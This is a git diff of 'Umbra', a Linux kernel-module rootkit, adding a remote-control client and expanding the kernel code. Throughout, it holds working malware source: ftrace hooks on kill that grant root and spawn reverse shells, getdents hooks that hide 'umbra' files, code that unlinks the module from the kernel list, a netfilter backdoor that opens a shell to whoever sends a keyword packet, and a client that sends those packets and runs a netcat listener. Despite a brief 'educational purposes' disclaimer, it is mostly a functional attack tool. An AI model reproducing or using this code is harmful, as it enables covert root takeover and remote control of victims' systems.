diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..5c5caef --- /dev/null +++ b/.gitignore @@ -0,0 +1,8 @@ +.vscode +client/client.o +kernel/*.* +kernel/src/*.* +!kernel/src/*.c +!kernel/*.c + + diff --git a/README.md b/README.md index 116ce7e..d491671 100644 --- a/README.md +++ b/README.md @@ -3,31 +3,46 @@ ![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/h3xduck/Umbra) ![GitHub last commit](https://img.shields.io/github/last-commit/h3xduck/Umbra) -# Umbra +# Umbra Umbra (/ˈʌmbrə/) is an experimental LKM rootkit for kernels 4.x and 5.x (up to 5.7) which opens a network backdoor that spawns reverse shells to remote hosts and more. The rootkit is still under development, although the features listed below are already fully operational. -![Backdoor in action](https://github.com/h3xduck/Umbra/blob/master/images/umbrabackdoor.gif) +![Backdoor in action](https://github.com/h3xduck/Umbra/blob/master/images/umbra3.gif) Note: This rootkit has been developed and tested using kernel 5.4.0 and Ubuntu 18.04. ## Features -* **NEW**: Backdoor which spawns reverse shell to remote IP after receiving a malicious TCP packet. +* :star2: Backdoor which spawns reverse shell to remote IP after receiving a malicious TCP packet. * Privilege escalation by sending signal 50. * Spawn netcat reverse shell on module load. * Spawn netcat reverse shell to a remote host by sending signal 51. +* **NEW**: Added the *Umbra Injector* to control the rootkit remotely: + * Remote reverse shell. + * Hide/unhide rootkit remotely. + + + +* **NEW**: Umbra hides all its files and directories from user commands such as *ls*. +* **NEW**: Umbra can hide/unhide itself remotely and locally via signals. More functionalities will come in later updates. ## Disclaimer This rookit is **purely for educational purposes**. I am not responsible for any damage resulting from its unintended use. -Also bear in mind that Umbra does not incorporate any rootkit hiding or protection mechanisms yet. +Also bear in mind that Umbra only incorporates light hiding and protection mechanisms. It is **not** intended to be used on a real scenario. **IMPORTANT:** If you are going to test this rootkit in your own machine, I *strongly recommend* to use a VM. +## Table of Contents +1. [Build and Install](#build-and-install) +2. [Unloading Umbra](#unloading-umbra) +3. [Local Control](#basic-usage-local-control) +4. [Remote Control](#umbra-injector-remote-control) +5. [References](#references) + ## Build and install Remember that you should have a 4.x or 5.x kernel available. 1. Download your kernel header files @@ -55,7 +70,7 @@ sudo insmod ./umbra.ko sudo rmmod umbra ``` -## Usage +## Basic Usage: Local control ### Change current user privileges to root * Send signal 50 to any PID. ``` @@ -77,21 +92,49 @@ kill -51 1 Note: Umbra also tries to start the reverse shell on load. -### **NEW**: Spawn reverse shell via backdoor +### Spawn reverse shell via backdoor Any host can get a reverse shell by sending a specially-crafted packet to a machine infected with Umbra. The backdoor will try to open the shell on IP:5888, where IP is the IP address of the attacking machine. -You can look at the code to know how to build your own packet, but I also provide a client which will do the job for you. You can download the client from [latest releases](https://github.com/h3xduck/Umbra/releases/), or you can build your own using my library [RawTCP](https://github.com/h3xduck/RawTCP_Lib). +The backdoor listens for packets with the following payload: +`UMBRA_PAYLOAD_GET_REVERSE_SHELL` +, but I also provide a client which will do the job for you. You can download the client from [latest releases](https://github.com/h3xduck/Umbra/releases/), or you can build your own using my library [RawTCP](https://github.com/h3xduck/RawTCP_Lib). -The client is run as follows: +### Hide the rootkit - Invisible mode +This will prevent the rootkit from being shown by commands such as *lsmod*, or being removed via *rmmod*. +``` +kill -52 1 +``` +### Unhide the rootkit +This reverts the invisible mode if active. ``` -./client +./client -53 127.0.0.1 ``` -Where the attacker ip will be used by the backdoor to connect the reverse shell and the victim ip is the one of the machine infected with Umbra. +## Umbra Injector: Remote control +### **NEW**: Get reverse shell +The program can be run either before Umbra is installed (thus waiting until it is), or after Umbra is installed on the target system. +``` +./client -S 127.0.0.1 +``` +### **NEW**: Hide the rootkit remotely - Invisible mode +This will prevent the rootkit from being shown by commands such as *lsmod*, or being removed via *rmmod*. +``` +./client -i 127.0.0.1 +``` +### **NEW**: Unhide the rootkit remotely +This reverts the invisible mode if active. +``` +./client -u 127.0.0.1 +``` +### Help +You can see the full information on how to run the client by: +``` +./client -h +``` diff --git a/client/Makefile b/client/Makefile new file mode 100644 index 0000000..a8af113 --- /dev/null +++ b/client/Makefile @@ -0,0 +1,16 @@ +CC = gcc +HEADERS = lib/RawTCP.h +EXTRA_CFLAGS= -I$(PWD)/lib + +default: + make client + +client.o: client.c $(HEADERS) + gcc -c client.c + +client: client.o lib/libRawTCP_Lib.a + gcc -lm -o client client.o -L. lib/libRawTCP_Lib.a + +clean: + -rm -f client.o + -rm -f client diff --git a/client/client b/client/client index 3024d2b..ad9d130 100755 Binary files a/client/client and b/client/client differ diff --git a/client/client.c b/client/client.c index 6fa2bb0..b4a79ed 100644 --- a/client/client.c +++ b/client/client.c @@ -1,20 +1,220 @@ -#include "../lib/RawTCP.h" +#include "lib/RawTCP.h" #include +#include +#include +#include +#include +#include +#include +#include +#include -void main(int argc, char* argv[]){ - if(argc<3){ - printf("Invalid number of arguments\n"); - printf("Usage: client , \n"); - return; +// For printing with colors +#define KGRN "\x1B[32m" +#define KYLW "\x1B[33m" +#define KBLU "\x1B[34m" +#define KMGN "\x1B[35m" +#define KRED "\x1B[31m" +#define RESET "\x1B[0m" + +void print_welcome_message(){ + printf("*******************************************************\n"); + printf("************* Umbra Injector *************************\n"); + printf("*******************************************************\n"); + printf("************ https://github.com/h3xduck/Umbra *********\n"); + printf("*******************************************************\n"); +} + +void print_help_dialog(const char* arg){ + printf("\nUsage: %s [OPTION] victim_IP\n\n", arg); + printf("Program OPTIONs\n"); + char* line = "-S victim_IP"; + char* desc = "Get a remote shell to victim_IP"; + printf("\t%-50s %-50s\n\n", line, desc); + line = "-u victim_IP"; + desc = "Unhide the rootkit remotely from the host"; + printf("\t%-50s %-50s\n\n", line, desc); + line = "-i victim_IP"; + desc = "Hide the rootkit remotely from the host"; + printf("\t%-50s %-50s\n\n", line, desc); + line = "\nProgram options"; + printf("\t%-50s\n", line); + line = "-h"; + desc = "Print this help"; + printf("\t%-50s %-50s\n\n", line, desc); + +} + +void check_ip_address_format(char* address){ + char* buf[256]; + int s = inet_pton(AF_INET, address, buf); + if(s<0){ + printf("["KYLW"WARN"RESET"]""Error checking IP validity\n"); + }else if(s==0){ + printf("["KYLW"WARN"RESET"]""The victim IP is probably not valid\n"); + } +} + +char* getLocalIpAddress(){ + char hostbuffer[256]; + char* IPbuffer = calloc(256, sizeof(char)); + struct hostent *host_entry; + int hostname; + + hostname = gethostname(hostbuffer, sizeof(hostbuffer)); + if(hostname==-1){ + perror("["KRED"ERROR"RESET"]""Error getting local IP: gethostname"); + exit(1); } - packet_t packet = build_standard_packet(9000, 9000, argv[1], argv[2], 2048, "UMBRA_PAYLOAD_GET_REVERSE_SHELL"); - printf("Sending malicious packet to infected machine...\n"); + + host_entry = gethostbyname(hostbuffer); + if(host_entry == NULL){ + perror("["KRED"ERROR"RESET"]""Error getting local IP: gethostbyname"); + exit(1); + } + + // To convert an Internet network + // address into ASCII string + strcpy(IPbuffer,inet_ntoa(*((struct in_addr*) host_entry->h_addr_list[0]))); + + printf("["KBLU"INFO"RESET"]""Attacker IP selected: %s\n", IPbuffer); + + return IPbuffer; +} + + +void get_shell(char* argv){ + char* local_ip = getLocalIpAddress(); + printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv); + check_ip_address_format(argv); + packet_t packet = build_standard_packet(9000, 9000, local_ip, argv, 2048, "UMBRA_PAYLOAD_GET_REVERSE_SHELL"); + printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n"); + + pid_t pid; + pid = fork(); + if(pid < 0){ + perror("["KRED"ERROR"RESET"]""Could not create another process"); + return; + }else if(pid==0){ + sleep(1); + //Sending the malicious payload + if(rawsocket_send(packet)<0){ + printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n"); + }else{ + printf("["KGRN"OK"RESET"]""Payload successfully sent!\n"); + } + + }else { + //Activating listener + char *cmd = "nc"; + char *argv[3]; + argv[0] = "nc"; + argv[1] = "-lvp"; + argv[2] = "5888"; + argv[3] = NULL; + + printf("["KBLU"INFO"RESET"]""Trying to get a shell...\n"); + if(execvp(cmd, argv)<0){ + perror("["KRED"ERROR"RESET"]""Error executing background listener"); + return; + } + printf("["KGRN"OK"RESET"]""Got a shell\n"); + } + + free(local_ip); +} + +void show_rootkit(char* argv){ + char* local_ip = getLocalIpAddress(); + printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv); + check_ip_address_format(argv); + packet_t packet = build_standard_packet(9000, 9000, local_ip, argv, 2048, "UMBRA_SHOW_ROOTKIT"); + printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n"); + //Sending the malicious payload if(rawsocket_send(packet)<0){ - printf("An error occured. Is the machine up?\n"); + printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n"); }else{ - printf("Finished!\n"); + printf("["KGRN"OK"RESET"]""Request to unhide successfully sent!\n"); + } + free(local_ip); +} + +void hide_rootkit(char* argv){ + char* local_ip = getLocalIpAddress(); + printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv); + check_ip_address_format(argv); + packet_t packet = build_standard_packet(9000, 9000, local_ip, argv, 2048, "UMBRA_HIDE_ROOTKIT"); + printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n"); + //Sending the malicious payload + if(rawsocket_send(packet)<0){ + printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n"); + }else{ + printf("["KGRN"OK"RESET"]""Request to hide successfully sent!\n"); + } + free(local_ip); +} + + +void main(int argc, char* argv[]){ + if(argc<2){ + printf("["KRED"ERROR"RESET"]""Invalid number of arguments\n"); + print_help_dialog(argv[0]); + return; } + + int opt; + char dest_address[32]; + //Command line argument parsing + while ((opt = getopt(argc, argv, ":S:u:i:h")) != -1) { + switch (opt) { + case 'S': + print_welcome_message(); + sleep(1); + //Get a shell mode + printf("["KBLU"INFO"RESET"]""Activated GET a SHELL mode\n"); + //printf("Option S has argument %s\n", optarg); + strcpy(dest_address, optarg); + get_shell(dest_address); + + break; + case 'u': + print_welcome_message(); + sleep(1); + //Selecting show rootkit - Unhide mode + printf("["KBLU"INFO"RESET"]""Selected UNHIDE the rootkit remotely\n"); + //printf("Option m has argument %s\n", optarg); + strcpy(dest_address, optarg); + show_rootkit(dest_address); + + break; + case 'i': + print_welcome_message(); + sleep(1); + //Selecting hide rootkit - Invisible mode + printf("["KBLU"INFO"RESET"]""Selected HIDE the rootkit remotely\n"); + //printf("Option m has argument %s\n", optarg); + strcpy(dest_address, optarg); + hide_rootkit(dest_address); + + break; + case 'h': + print_help_dialog(argv[0]); + exit(0); + break; + case '?': + printf("["KRED"ERROR"RESET"]""Unknown option: %c\n", optopt); + break; + case ':': + printf("["KRED"ERROR"RESET"]""Missing arguments for %c\n", optopt); + exit(EXIT_FAILURE); + break; + + default: + print_help_dialog(argv[0]); + exit(EXIT_FAILURE); + } + } } \ No newline at end of file diff --git a/client/lib/RawTCP.h b/client/lib/RawTCP.h new file mode 100644 index 0000000..30e7177 --- /dev/null +++ b/client/lib/RawTCP.h @@ -0,0 +1,35 @@ +#ifndef HEADER_RAWTCP_LIB +#define HEADER_RAWTCP_LIB + +#include + +//Packet_t structure +typedef struct packet_t{ + struct iphdr *ipheader; + struct tcphdr *tcpheader; + char *payload; + int payload_length; + char* packet; +}packet_t; + +//PacketForger headers +packet_t build_standard_packet( + u_int16_t source_port, + u_int16_t destination_port, + const char* source_ip_address, + const char* destination_ip_address, + u_int32_t packet_length, + char* payload + ); + +int packet_destroy(packet_t packet); + +int set_TCP_flags(packet_t packet, int hex_flags); + +//SocketManager headers +int rawsocket_send(packet_t packet); + +packet_t rawsocket_sniff(); + + +#endif \ No newline at end of file diff --git a/client/lib/libRawTCP_Lib.a b/client/lib/libRawTCP_Lib.a new file mode 100644 index 0000000..6f3017c Binary files /dev/null and b/client/lib/libRawTCP_Lib.a differ diff --git a/images/umbra3.gif b/images/umbra3.gif new file mode 100644 index 0000000..00df281 Binary files /dev/null and b/images/umbra3.gif differ diff --git a/images/umbraicon.png b/images/umbraicon.png new file mode 100644 index 0000000..79a70d0 Binary files /dev/null and b/images/umbraicon.png differ diff --git a/images/umbraicon2.png b/images/umbraicon2.png new file mode 100644 index 0000000..28b505e Binary files /dev/null and b/images/umbraicon2.png differ diff --git a/images/umbrainjector.png b/images/umbrainjector.png new file mode 100644 index 0000000..b850ffc Binary files /dev/null and b/images/umbrainjector.png differ diff --git a/Makefile b/kernel/Makefile similarity index 85% rename from Makefile rename to kernel/Makefile index 773dc94..ccf79cc 100644 --- a/Makefile +++ b/kernel/Makefile @@ -5,7 +5,6 @@ umbra-objs := main.o src/ftrace_manager.o src/creds_manager.o src/hookers.o src all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules - gcc client/client.c lib/libRawTCP_Lib.a -o client/client clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean \ No newline at end of file diff --git a/include/CONFIG.h b/kernel/include/CONFIG.h similarity index 100% rename from include/CONFIG.h rename to kernel/include/CONFIG.h diff --git a/include/creds_manager.h b/kernel/include/creds_manager.h similarity index 100% rename from include/creds_manager.h rename to kernel/include/creds_manager.h diff --git a/include/ftrace_manager.h b/kernel/include/ftrace_manager.h similarity index 100% rename from include/ftrace_manager.h rename to kernel/include/ftrace_manager.h diff --git a/include/hookers.h b/kernel/include/hookers.h similarity index 59% rename from include/hookers.h rename to kernel/include/hookers.h index e79f5de..b336c4f 100644 --- a/include/hookers.h +++ b/kernel/include/hookers.h @@ -6,6 +6,9 @@ #include #include #include +#include +#include +#include #include "ftrace_manager.h" #include "creds_manager.h" @@ -13,6 +16,10 @@ // Syscalls to be hooked using frace #define SIGNAL_KILL_HOOK 50 #define SIGNAL_REVERSE_SHELL 51 +#define SIGNAL_HIDE_KERNEL_MODULE 52 +#define SIGNAL_SHOW_KERNEL_MODULE 53 + +#define UMBRA_DIRECTORY_PREFIX "umbra" //Hooking mkdir asmlinkage int hook_mkdir(const struct pt_regs *regs); @@ -22,6 +29,15 @@ asmlinkage int hook_mkdir(const struct pt_regs *regs); asmlinkage int hook_kill(const struct pt_regs *regs); +//Hooking getdents for ls +asmlinkage int hook_getdents64(const struct pt_regs *regs); + + +//Functions for hiding and showing the rootkit +void hide_rootkit(void); +void show_rootkit(void); + + void remove_all_hooks(void); int install_all_hooks(void); diff --git a/include/netfilter_manager.h b/kernel/include/netfilter_manager.h similarity index 100% rename from include/netfilter_manager.h rename to kernel/include/netfilter_manager.h diff --git a/include/utils.h b/kernel/include/utils.h similarity index 100% rename from include/utils.h rename to kernel/include/utils.h diff --git a/main.c b/kernel/main.c similarity index 100% rename from main.c rename to kernel/main.c diff --git a/src/creds_manager.c b/kernel/src/creds_manager.c similarity index 100% rename from src/creds_manager.c rename to kernel/src/creds_manager.c diff --git a/src/ftrace_manager.c b/kernel/src/ftrace_manager.c similarity index 100% rename from src/ftrace_manager.c rename to kernel/src/ftrace_manager.c diff --git a/kernel/src/hookers.c b/kernel/src/hookers.c new file mode 100644 index 0000000..dd985b5 --- /dev/null +++ b/kernel/src/hookers.c @@ -0,0 +1,207 @@ +#include "../include/hookers.h" +#include "../include/utils.h" +#include "../include/CONFIG.h" + +asmlinkage long (*orig_mkdir)(const struct pt_regs*); +asmlinkage int hook_mkdir(const struct pt_regs *regs){ + char __user *pathname = (char *)regs->di; + + char dir_name[NAME_MAX] = {0}; + long err; + + printk(KERN_INFO "UMBRA:: mkdir hooked x64!"); + //Getting pathname from userspace, which is out of our module address space + err = strncpy_from_user(dir_name, pathname, NAME_MAX); + // Returns -EFAULT if error, number of copied bytes otherwise + if (err>0){ + printk(KERN_INFO "UMBRA:: Detected mkdir %s\n", dir_name); + } + + orig_mkdir(regs); + return 0; +} + + + +//Keep track of whether the rootkit is hidden or not +static int rootkit_visibility = 1; +//Previous module on kernel module list, to remember the original position in case we remove it +static struct list_head *prev_module; + +void hide_rootkit(void){ + //Removing the rootkit from the linked list of modules maintained by the kernel + printk(KERN_INFO "UMBRA:: Module hidden.\n"); + prev_module = THIS_MODULE->list.prev; + list_del(&THIS_MODULE->list); + rootkit_visibility = 0; //hidden +} + +void show_rootkit(void){ + //Adding the rootkit to the linked list of modules maintained by the kernel + printk(KERN_INFO "UMBRA:: Module visible.\n"); + list_add(&THIS_MODULE->list, prev_module); + rootkit_visibility = 1;//visible +} + +asmlinkage long (*orig_kill)(const struct pt_regs*); +asmlinkage int hook_kill(const struct pt_regs *regs){ + void set_root(void); + int sig = regs->si; + + //If SIGNAL_KILL_HOOK, grant root privileges + if (sig == SIGNAL_KILL_HOOK){ + printk(KERN_INFO "UMBRA:: Giving root privileges.\n"); + change_self_privileges_to_root(); + return orig_kill(regs); + }else if(sig == SIGNAL_REVERSE_SHELL){ + start_reverse_shell(REVERSE_SHELL_IP, REVERSE_SHELL_PORT); + }else if(sig == SIGNAL_SHOW_KERNEL_MODULE){ + if(rootkit_visibility == 1){ + printk(KERN_INFO "UMBRA:: Requested visibility, but already visible.\n"); + return orig_kill(regs); + } + show_rootkit(); + }else if(sig == SIGNAL_HIDE_KERNEL_MODULE){ + if(rootkit_visibility == 0){ + printk(KERN_INFO "UMBRA:: Requested hiding, but already hidden.\n"); + return orig_kill(regs); + } + hide_rootkit(); + } + + return orig_kill(regs); +} + +static asmlinkage long (*orig_getdents64)(const struct pt_regs *); +asmlinkage int hook_getdents64(const struct pt_regs *regs){ + struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; + struct linux_dirent64 *prev_dir, *current_dir, *dirent_ker = NULL; + long err; + int ret; + + //Offset to address each of the directories in dirent struct. + unsigned long offset = 0; + + //Real getdents function, now we modify the results for our convenience + //Allocate a buffer for use to operate with + ret = orig_getdents64(regs); + dirent_ker = kzalloc(ret, GFP_KERNEL); + if (ret<=0 || dirent_ker==NULL){ + return ret; + } + + //Copy original buffer to the buffer we will manipulate + err = copy_from_user(dirent_ker, dirent, ret); + if(err){ + kfree(dirent_ker); + return ret; + } + + //iterate through all directories + while (offset < ret){ + current_dir = (void *)dirent_ker + offset; + + //Check if directory/file contains the umbra prefix + if(memcmp(UMBRA_DIRECTORY_PREFIX, current_dir->d_name, strlen(UMBRA_DIRECTORY_PREFIX))==0){ + //Special case directory/file is the first + if(current_dir == dirent_ker){ + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + //We hide this entry by incrementing the rec_len field, now pointing to the next entry + prev_dir->d_reclen += current_dir->d_reclen; + printk(KERN_INFO "UMBRA:: Skipped over secret entry.\n"); + }else{ + prev_dir = current_dir; + } + //Next entry + offset += current_dir->d_reclen; + } + err = copy_to_user(dirent, dirent_ker, ret); + if(err){ + kfree(dirent_ker); + } + + return ret; +} + +//Defining the same getdents hook but for x32 systems. +//I've found that some x64 systems also call getdents and not getdents64 with ls for some reason +//You can check it with strace ls +struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; + char d_name[]; +}; +static asmlinkage long (*orig_getdents)(const struct pt_regs *); +asmlinkage int hook_getdents(const struct pt_regs *regs){ + struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si; + struct linux_dirent *prev_dir, *current_dir, *dirent_ker = NULL; + long err; + int ret; + + //Offset to address each of the directories in dirent struct. + unsigned long offset = 0; + + //Real getdents function, now we modify the results for our convenience + //Allocate a buffer for use to operate with + ret = orig_getdents(regs); + dirent_ker = kzalloc(ret, GFP_KERNEL); + if (ret<=0 || dirent_ker==NULL){ + return ret; + } + + //Copy original buffer to the buffer we will manipulate + err = copy_from_user(dirent_ker, dirent, ret); + if(err){ + kfree(dirent_ker); + return ret; + } + + //iterate through all directories + while (offset < ret){ + current_dir = (void *)dirent_ker + offset; + + //Check if directory/file contains the umbra prefix + if(memcmp(UMBRA_DIRECTORY_PREFIX, current_dir->d_name, strlen(UMBRA_DIRECTORY_PREFIX))==0){ + //Special case directory/file is the first + if(current_dir == dirent_ker){ + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + //We hide this entry by incrementing the rec_len field, now pointing to the next entry + prev_dir->d_reclen += current_dir->d_reclen; + printk(KERN_INFO "UMBRA:: Skipped over secret entry.\n"); + }else{ + prev_dir = current_dir; + } + //Next entry + offset += current_dir->d_reclen; + } + err = copy_to_user(dirent, dirent_ker, ret); + if(err){ + kfree(dirent_ker); + } + return ret; +} + + + +// Syscalls to be hooked using frace +struct ftrace_hook hooks[] = { + //HOOK("sys_mkdir", hook_mkdir, &orig_mkdir), + HOOK("sys_kill", hook_kill, &orig_kill), + HOOK("sys_getdents64", hook_getdents64, &orig_getdents64), + HOOK("sys_getdents", hook_getdents, &orig_getdents) +}; + +void remove_all_hooks(void){ + remove_hooks_set(hooks, ARRAY_SIZE(hooks)); +} + +int install_all_hooks(void){ + return install_hooks_set(hooks, ARRAY_SIZE(hooks)); +} \ No newline at end of file diff --git a/src/netfilter_manager.c b/kernel/src/netfilter_manager.c similarity index 82% rename from src/netfilter_manager.c rename to kernel/src/netfilter_manager.c index 9876030..7d0adb6 100644 --- a/src/netfilter_manager.c +++ b/kernel/src/netfilter_manager.c @@ -1,13 +1,16 @@ #include "../include/netfilter_manager.h" #include "../include/utils.h" #include "../include/CONFIG.h" +#include "../include/hookers.h" const char* UMBRA_BACKDOOR_KEY = "UMBRA_PAYLOAD_GET_REVERSE_SHELL"; +const char* UMBRA_HIDE_ROOTKIT_KEY = "UMBRA_HIDE_ROOTKIT"; +const char* UMBRA_SHOW_ROOTKIT_KEY = "UMBRA_SHOW_ROOTKIT"; /** * Inspects incoming packets and check correspondence to backdoor packet: * Proto: TCP * Port: 9000 - * Payload: UMBRA_PAYLOAD_GET_REVERSE_SHELL + * Payload: UMBRA_PAYLOAD_GET_REVERSE_SHELL (or any other payload of above) */ unsigned int net_hook(void *priv, struct sk_buff *skb, const struct nf_hook_state *state){ //Network headers @@ -74,11 +77,13 @@ unsigned int net_hook(void *priv, struct sk_buff *skb, const struct nf_hook_stat printk(KERN_DEBUG "data len : %d\ndata : \n", (int)strlen(user_data)); printk(KERN_DEBUG "%s\n", user_data); - if(strlen(user_data)<31){ + if(strlen(user_data)<10){ return NF_ACCEPT; } - + if(memcmp(user_data, UMBRA_BACKDOOR_KEY, strlen(UMBRA_BACKDOOR_KEY))==0){ + /****BACKDOOR KEY - Open a shell***/ + //Packet had the secret payload. printk(KERN_INFO "UMBRA:: Received backdoor packet \n"); //kfree(_data); @@ -91,9 +96,24 @@ unsigned int net_hook(void *priv, struct sk_buff *skb, const struct nf_hook_stat start_reverse_shell(ip_source, REVERSE_SHELL_PORT); //TODO: Hide the backdoor packet to the local system return NF_DROP; + }else if(memcmp(user_data, UMBRA_HIDE_ROOTKIT_KEY, strlen(UMBRA_HIDE_ROOTKIT_KEY))==0){ + /****HIDE ROOTKIT KEY - Hide the rootkit, remotely***/ + + printk(KERN_INFO "UMBRA:: Received order to hide the rootkit \n"); + hide_rootkit(); + return NF_DROP; + + }else if(memcmp(user_data, UMBRA_SHOW_ROOTKIT_KEY, strlen(UMBRA_SHOW_ROOTKIT_KEY))==0){ + /****SHOW ROOTKIT KEY - Show the rootkit, remotely***/ + + printk(KERN_INFO "UMBRA:: Received order to unhide the rookit \n"); + show_rootkit(); + return NF_DROP; } + + return NF_ACCEPT; } diff --git a/src/utils.c b/kernel/src/utils.c similarity index 100% rename from src/utils.c rename to kernel/src/utils.c diff --git a/kernel/umbra.mod.c b/kernel/umbra.mod.c new file mode 100644 index 0000000..621b52f --- /dev/null +++ b/kernel/umbra.mod.c @@ -0,0 +1,64 @@ +#include +#include +#include +#include + +BUILD_SALT; + +MODULE_INFO(vermagic, VERMAGIC_STRING); +MODULE_INFO(name, KBUILD_MODNAME); + +__visible struct module __this_module +__section(.gnu.linkonce.this_module) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif + .arch = MODULE_ARCH_INIT, +}; + +#ifdef CONFIG_RETPOLINE +MODULE_INFO(retpoline, "Y"); +#endif + +static const struct modversion_info ____versions[] +__used __section(__versions) = { + { 0xc79d2779, "module_layout" }, + { 0x2d3385d3, "system_wq" }, + { 0x8537dfba, "kmalloc_caches" }, + { 0xeb233a45, "__kmalloc" }, + { 0x3b825fc1, "commit_creds" }, + { 0x56470118, "__warn_printk" }, + { 0x24428be5, "strncpy_from_user" }, + { 0x2d39b0a7, "kstrdup" }, + { 0xb44ad4b3, "_copy_to_user" }, + { 0xc5850110, "printk" }, + { 0x449ad0a7, "memcmp" }, + { 0xa7eedcc4, "call_usermodehelper" }, + { 0x9e423bbc, "unregister_ftrace_function" }, + { 0xe007de41, "kallsyms_lookup_name" }, + { 0x3d55a83a, "init_net" }, + { 0xc02f9176, "nf_register_net_hook" }, + { 0x611bf0f1, "prepare_creds" }, + { 0x15301f, "nf_unregister_net_hook" }, + { 0xc8f162c9, "ftrace_set_filter_ip" }, + { 0xdecd0b29, "__stack_chk_fail" }, + { 0x2ea2c95c, "__x86_indirect_thunk_rax" }, + { 0xbdfb6dbb, "__fentry__" }, + { 0x26c2e0b5, "kmem_cache_alloc_trace" }, + { 0x37a0cba, "kfree" }, + { 0x58f03b99, "register_ftrace_function" }, + { 0xc5b6f236, "queue_work_on" }, + { 0x656e4a6e, "snprintf" }, + { 0xb0e602eb, "memmove" }, + { 0x362ef408, "_copy_from_user" }, + { 0x59419f30, "skb_copy_bits" }, + { 0x88db9f48, "__check_object_size" }, + { 0xe914e41e, "strcpy" }, +}; + +MODULE_INFO(depends, ""); + + +MODULE_INFO(srcversion, "5238D1FBE1D257DC28CBDE0"); diff --git a/src/hookers.c b/src/hookers.c deleted file mode 100644 index e0c0390..0000000 --- a/src/hookers.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "../include/hookers.h" -#include "../include/utils.h" -#include "../include/CONFIG.h" - -asmlinkage long (*orig_mkdir)(const struct pt_regs*); -asmlinkage int hook_mkdir(const struct pt_regs *regs){ - char __user *pathname = (char *)regs->di; - - char dir_name[NAME_MAX] = {0}; - long err; - - printk(KERN_INFO "UMBRA:: mkdir hooked x64!"); - //Getting pathname from userspace, which is out of our module address space - err = strncpy_from_user(dir_name, pathname, NAME_MAX); - // Returns -EFAULT if error, number of copied bytes otherwise - if (err>0){ - printk(KERN_INFO "UMBRA:: Detected mkdir %s\n", dir_name); - } - - orig_mkdir(regs); - return 0; -} - -asmlinkage long (*orig_kill)(const struct pt_regs*); -asmlinkage int hook_kill(const struct pt_regs *regs){ - void set_root(void); - int sig = regs->si; - - //If SIGNAL_KILL_HOOK, grant root privileges - if (sig == SIGNAL_KILL_HOOK){ - printk(KERN_INFO "UMBRA:: Giving root privileges.\n"); - change_self_privileges_to_root(); - return 0; - }else if(sig == SIGNAL_REVERSE_SHELL){ - start_reverse_shell(REVERSE_SHELL_IP, REVERSE_SHELL_PORT); - } - - return orig_kill(regs); -} - -// Syscalls to be hooked using frace -struct ftrace_hook hooks[] = { - //HOOK("sys_mkdir", hook_mkdir, &orig_mkdir), - HOOK("sys_kill", hook_kill, &orig_kill) -}; - -void remove_all_hooks(void){ - remove_hooks_set(hooks, ARRAY_SIZE(hooks)); -} - -int install_all_hooks(void){ - return install_hooks_set(hooks, ARRAY_SIZE(hooks)); -} \ No newline at end of file